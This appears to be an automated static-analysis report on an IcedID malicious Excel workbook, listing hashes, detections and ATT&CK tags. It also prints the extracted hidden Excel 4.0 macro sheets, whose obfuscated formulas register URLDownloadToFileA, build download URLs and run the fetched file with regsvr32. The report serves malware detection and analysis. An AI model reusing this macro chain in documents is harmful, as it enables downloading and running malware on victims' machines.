IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 3e6dd4386127bdae…

MALICIOUS

Office (OOXML)

338.7 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-17
MD5: 1a9cf05458243ca7db36dd0de6fab220 SHA-1: 08b3fb53583c3684d98f96efefe45b0c320e2d44 SHA-256: 3e6dd4386127bdae6cb49cfee9c84e94e8159796df196bbd3c6981e2bfa7f895
250 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel file containing multiple Excel 4.0 macro sheets. These macros utilize dangerous functions like FORMULA and GOTO to construct and execute commands. Specifically, the macros appear to be assembling a command to download a file named 'Hret.tops' (and variants) using 'regsvr32.exe' from one of the provided IP addresses. This functionality is consistent with the IcedID malware family, which often uses macro-enabled documents to download and execute further stages.

Heuristics 6

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (12 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, GOTO, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 12 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 12

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1681 bytes
SHA-256: 86c0f2552a624745457bb637a97127676f1e054c3bb2502498ac232ff269004d
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{D8721A71-CD51-4A41-9113-7F1C72E4210E}"><dimension ref="E11:G18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="H28" sqref="H28"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="41" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="41" style="1"/></cols><sheetData><row r="11" spans="5:7" x14ac:dyDescent="0.25"><c r="G11" s="1" t="b"><f>FORMULA(E13,H11)</f><v>0</v></c></row><row r="13" spans="5:7" x14ac:dyDescent="0.25"><c r="E13" s="1" t="str"><f>'1rtgvrt'!F14</f><v>TER("u"&amp;"R"&amp;"l"&amp;"M"&amp;"o"&amp;"n","URL</v></c></row><row r="18" spans="7:7" x14ac:dyDescent="0.25"><c r="G18" s="1" t="e"><f>GOTO(nowik!E11)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 1792 bytes
SHA-256: 561f95d832a1683473e51e0aa00fbed56e304e487c689ed25427d788cac3f41b
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1A122326-E9BA-4F4E-8218-736BBDAC7C9B}"><dimension ref="E9:H18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="H28" sqref="H28"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="41" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="41" style="1"/></cols><sheetData><row r="9" spans="5:8" x14ac:dyDescent="0.25"><c r="H9" s="1" t="b"><f>FORMULA(E14,I9)</f><v>0</v></c></row><row r="14" spans="5:8" x14ac:dyDescent="0.25"><c r="E14" s="1" t="str"><f>CONCATENATE(now!H11,'1rtgvrt'!F15,'1rtgvrt'!F16,'1rtgvrt'!F17,'1rtgvrt'!F18)</f><v>Dow"&amp;"nloadToFileA","JJCCBB","Kokiser",,1,9)</v></c><c r="H14" s="1" t="e"><f>GOTO('1rtgvrt'!J3)</f><v>#N/A</v></c></row><row r="18" spans="5:5" x14ac:dyDescent="0.25"><c r="E18" s="1" t="e"><f>GOTO(H6)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 3351 bytes
SHA-256: 9d7145fc17238193b2b24d4b34eba56af8d578acf660d7f6fbc9884716a1fddb
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{FFD5319C-BE4D-4645-9F69-A49923E2A0B7}"><dimension ref="F5:K21"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="9.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="9" width="9.5703125" style="1"/><col min="10" max="10" width="24.140625" style="1" bestFit="1" customWidth="1"/><col min="11" max="16384" width="9.5703125" style="1"/></cols><sheetData><row r="5" spans="6:11" x14ac:dyDescent="0.25"><c r="J5" s="1" t="str"><f>CONCATENATE(G12,nowik!I9)</f><v>=REGIS</v></c></row><row r="7" spans="6:11" x14ac:dyDescent="0.25"><c r="J7" s="1" t="b"><f>FORMULA(J5,J11)</f><v>0</v></c></row><row r="9" spans="6:11" x14ac:dyDescent="0.25"><c r="J9" s="1"><f>NOW()</f><v>44355.570300462961</v></c></row><row r="10" spans="6:11" x14ac:dyDescent="0.25"><c r="I10" s="1" t="s"><v>10</v></c></row><row r="11" spans="6:11" x14ac:dyDescent="0.25"><c r="I11" s="1" t="s"><v>11</v></c></row><row r="12" spans="6:11" x14ac:dyDescent="0.25"><c r="F12" s="1" t="s"><v>0</v></c><c r="G12" s="1" t="str"><f>F12&amp;F13</f><v>=REGIS</v></c></row><row r="13" spans="6:11" x14ac:dyDescent="0.25"><c r="F13" s="1" t="s"><v>1</v></c><c r="J13" s="1" t="e"><f>Kokiser(0,K13&amp;I14&amp;J9&amp;I10&amp;I11,'3fescvaer'!D19,0,0)</f><v>#NAME?</v></c><c r="K13" s="1" t="str"><f>K16&amp;K17&amp;K18</f><v>http://</v></c></row><row r="14" spans="6:11" x14ac:dyDescent="0.25"><c r="F14" s="1" t="s"><v>2</v></c><c r="I14" s="1" t="s"><v>20</v></c></row><row r="15" spans="6:11" x14ac:dyDescent="0.25"><c r="F15" s="1" t="s"><v>12</v></c><c r="I15" s="1" t="s"><v>21</v></c><c r="J15" s="1" t="e"><f>Kokiser(0,K13&amp;I15&amp;J9&amp;I10&amp;I11,'3fescvaer'!E19,0,0)</f><v>#NAME?</v></c></row><row r="16" spans="6:11" x14ac:dyDescent="0.25"><c r="F16" s="1" t="s"><v>3</v></c><c r="I16" s="1" t="s"><v>22</v></c><c r="K16" s="1" t="s"><v>19</v></c></row><row r="17" spans="6:11" x14ac:dyDescent="0.25"><c r="F17" s="1" t="s"><v>9</v></c><c r="J17" s="1" t="e"><f>Kokiser(0,K13&amp;I16&amp;J9&amp;I10&amp;I11,'3fescvaer'!F19,0,0)</f><v>#NAME?</v></c><c r="K17" s="1" t="s"><v>8</v></c></row><row r="18" spans="6:11" x14ac:dyDescent="0.25"><c r="F18" s="1" t="s"><v>4</v></c><c r="K18" s="1" t="str"><f>"://"</f><v>://</v></c></row><row r="21" spans="6:11" x14ac:dyDescent="0.25"><c r="J21" s="1" t="e"><f>GOTO('3fescvaer'!H4)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 1453 bytes
SHA-256: 26de9143f6cf5fe0f788d73021ad73f1b27c24005dbc236118e777f8b0506730
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{08FF06FB-53F4-4C60-B529-3E06ECF04D2F}"><dimension ref="F13"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="H28" sqref="H28"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="41" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="41" style="1"/></cols><sheetData><row r="13" spans="6:6" x14ac:dyDescent="0.25"><c r="F13" s="1" t="str"><f>'1rtgvrt'!F14</f><v>TER("u"&amp;"R"&amp;"l"&amp;"M"&amp;"o"&amp;"n","URL</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet5.xml 2316 bytes
SHA-256: 642478462247db462458c25a649e2ef4d4af939fde7671ef0314eb05631b656e
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{CDFA6BE0-4EC6-4813-BBF5-B10594745E9F}"><dimension ref="D8:K19"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="H28" sqref="H28"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="41" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="41" style="1"/></cols><sheetData><row r="8" spans="4:11" x14ac:dyDescent="0.25"><c r="D8" s="1" t="s"><v>0</v></c></row><row r="9" spans="4:11" x14ac:dyDescent="0.25"><c r="D9" s="1" t="s"><v>5</v></c></row><row r="10" spans="4:11" x14ac:dyDescent="0.25"><c r="D10" s="1" t="s"><v>6</v></c><c r="H10" s="1" t="b"><f>FORMULA(K10&amp;K11,I10)</f><v>0</v></c><c r="K10" s="1" t="str"><f>D9&amp;D10</f><v>EXE</v></c></row><row r="11" spans="4:11" x14ac:dyDescent="0.25"><c r="K11" s="1" t="str"><f>D12</f><v>C("regsvr</v></c></row><row r="12" spans="4:11" x14ac:dyDescent="0.25"><c r="D12" s="1" t="s"><v>7</v></c></row><row r="15" spans="4:11" x14ac:dyDescent="0.25"><c r="D15" s="1" t="s"><v>13</v></c><c r="E15" s="1" t="s"><v>14</v></c><c r="F15" s="1" t="s"><v>15</v></c></row><row r="17" spans="4:8" x14ac:dyDescent="0.25"><c r="H17" s="1" t="e"><f>GOTO('4scdac'!E7)</f><v>#N/A</v></c></row><row r="19" spans="4:8" x14ac:dyDescent="0.25"><c r="D19" s="1" t="s"><v>16</v></c><c r="E19" s="1" t="s"><v>17</v></c><c r="F19" s="1" t="s"><v>18</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_05.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet6.xml 1701 bytes
SHA-256: 834cc4ef6a3c6af06615c8aa6d949afa517651ede1eeec21b53e4f5de11176b2
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{6935296E-C8D1-4321-B95E-CB5004965B95}"><dimension ref="E8:G17"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="H28" sqref="H28"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="41" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="41" style="1"/></cols><sheetData><row r="8" spans="5:7" x14ac:dyDescent="0.25"><c r="G8" s="1" t="b"><f>FORMULA(E11,H8)</f><v>0</v></c></row><row r="11" spans="5:7" x14ac:dyDescent="0.25"><c r="E11" s="1" t="str"><f>CONCATENATE('3fescvaer'!I10,'3fescvaer'!D15)</f><v>32 -s "&amp;"."&amp;"."&amp;"\"&amp;"Post.storg")</v></c></row><row r="17" spans="5:7" x14ac:dyDescent="0.25"><c r="E17" s="1" t="e"><f>GOTO(G5)</f><v>#N/A</v></c><c r="G17" s="1" t="e"><f>GOTO('5fetaert'!F8)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_06.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet7.xml 1769 bytes
SHA-256: e2e22adbcd323409c23460c8491ea932ccfc479e66a0fd43b3cbf016637deee2
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{078DCCE8-688A-4A64-BAF3-B17F03BE9DA7}"><dimension ref="F12:H19"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="H28" sqref="H28"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="41" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="41" style="1"/></cols><sheetData><row r="12" spans="6:8" x14ac:dyDescent="0.25"><c r="H12" s="1" t="b"><f>FORMULA(F14,I12)</f><v>0</v></c></row><row r="14" spans="6:8" x14ac:dyDescent="0.25"><c r="F14" s="1" t="str"><f>CONCATENATE('3fescvaer'!I10,'3fescvaer'!E15)</f><v>32 -s "&amp;"."&amp;"."&amp;"\"&amp;"Post.storg1")</v></c></row><row r="19" spans="6:8" x14ac:dyDescent="0.25"><c r="F19" s="1" t="e"><f>GOTO(H10)</f><v>#N/A</v></c><c r="H19" s="1" t="e"><f>GOTO('6vrtgarga'!F8)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_07.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet8.xml 1615 bytes
SHA-256: 9507c9bf64f0fa04c0d91326c17f3b386e15711c5312be27a337514cf0b6963d
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{8BFD2F9D-2703-4B11-B294-3AA1C241D46A}"><dimension ref="F14:H21"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8" style="1"/></cols><sheetData><row r="14" spans="8:8" x14ac:dyDescent="0.25"><c r="H14" s="1" t="b"><f>FORMULA.ARRAY('3fescvaer'!I10&amp;'3fescvaer'!F15,I14)</f><v>0</v></c></row><row r="20" spans="6:8" x14ac:dyDescent="0.25"><c r="F20" s="1" t="e"><f>GOTO(H10)</f><v>#N/A</v></c></row><row r="21" spans="6:8" x14ac:dyDescent="0.25"><c r="H21" s="1" t="e"><f>GOTO('7rvgasdg'!F7)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_08.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet9.xml 1707 bytes
SHA-256: a16b352f19b762bc089f321940370e5aa88de10cc425f46c48ac731ed7304e51
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{A0188A28-7838-4B0D-9254-F48650F43D63}"><dimension ref="F10:H18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="H28" sqref="H28"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="41" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="41" style="1"/></cols><sheetData><row r="10" spans="6:8" x14ac:dyDescent="0.25"><c r="H10" s="1" t="b"><f>FORMULA(F12,H13)</f><v>0</v></c></row><row r="12" spans="6:8" x14ac:dyDescent="0.25"><c r="F12" s="1" t="str"><f>CONCATENATE('3fescvaer'!D8,'4scdac'!H8)</f><v>=</v></c></row><row r="16" spans="6:8" x14ac:dyDescent="0.25"><c r="F16" s="1" t="e"><f>GOTO(H7)</f><v>#N/A</v></c></row><row r="18" spans="8:8" x14ac:dyDescent="0.25"><c r="H18" s="1" t="e"><f>GOTO('8aevgadrg'!G13)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_09.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet10.xml 1655 bytes
SHA-256: 3410dc6b12447c4830c016503e43b45ab5cff38e0d670614371cb8b322ad335a
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{3109CC0F-EF1F-4DD9-B997-DEE69BAC76DD}"><dimension ref="G15:I22"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="H28" sqref="H28"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="41" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="41" style="1"/></cols><sheetData><row r="15" spans="9:9" x14ac:dyDescent="0.25"><c r="I15" s="1" t="b"><f>FORMULA(G18,I18)</f><v>0</v></c></row><row r="18" spans="7:9" x14ac:dyDescent="0.25"><c r="G18" s="1" t="str"><f>CONCATENATE('3fescvaer'!D8,'5fetaert'!I12)</f><v>=</v></c></row><row r="22" spans="7:9" x14ac:dyDescent="0.25"><c r="G22" s="1" t="e"><f>GOTO(I11)</f><v>#N/A</v></c><c r="I22" s="1" t="e"><f>GOTO('9rrvrv'!H11)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_10.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet11.xml 1760 bytes
SHA-256: 680c8c40818c9c3a7607267f1be6ac99c5cb1a8387571cb89d7009df7fb84386
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{21B3E0E8-D60B-4390-95D0-BA0828E3F0C6}"><dimension ref="H15:J21"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"><selection activeCell="H28" sqref="H28"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="41" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="41" style="1"/></cols><sheetData><row r="15" spans="10:10" x14ac:dyDescent="0.25"><c r="J15" s="1" t="b"><f>FORMULA(H17,J18)</f><v>0</v></c></row><row r="17" spans="8:10" x14ac:dyDescent="0.25"><c r="H17" s="1" t="str"><f>CONCATENATE('3fescvaer'!D8,'6vrtgarga'!I14)</f><v>=</v></c></row><row r="20" spans="8:10" x14ac:dyDescent="0.25"><c r="J20" s="1" t="b"><f>HALT()</f><v>0</v></c></row><row r="21" spans="8:10" x14ac:dyDescent="0.25"><c r="H21" s="1" t="e"><f>GOTO(J12)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_11.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1402 bytes
SHA-256: e1262acede2d280bc5b759e7ce68181c1f89ca447048e2f784ee5363df57d312
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
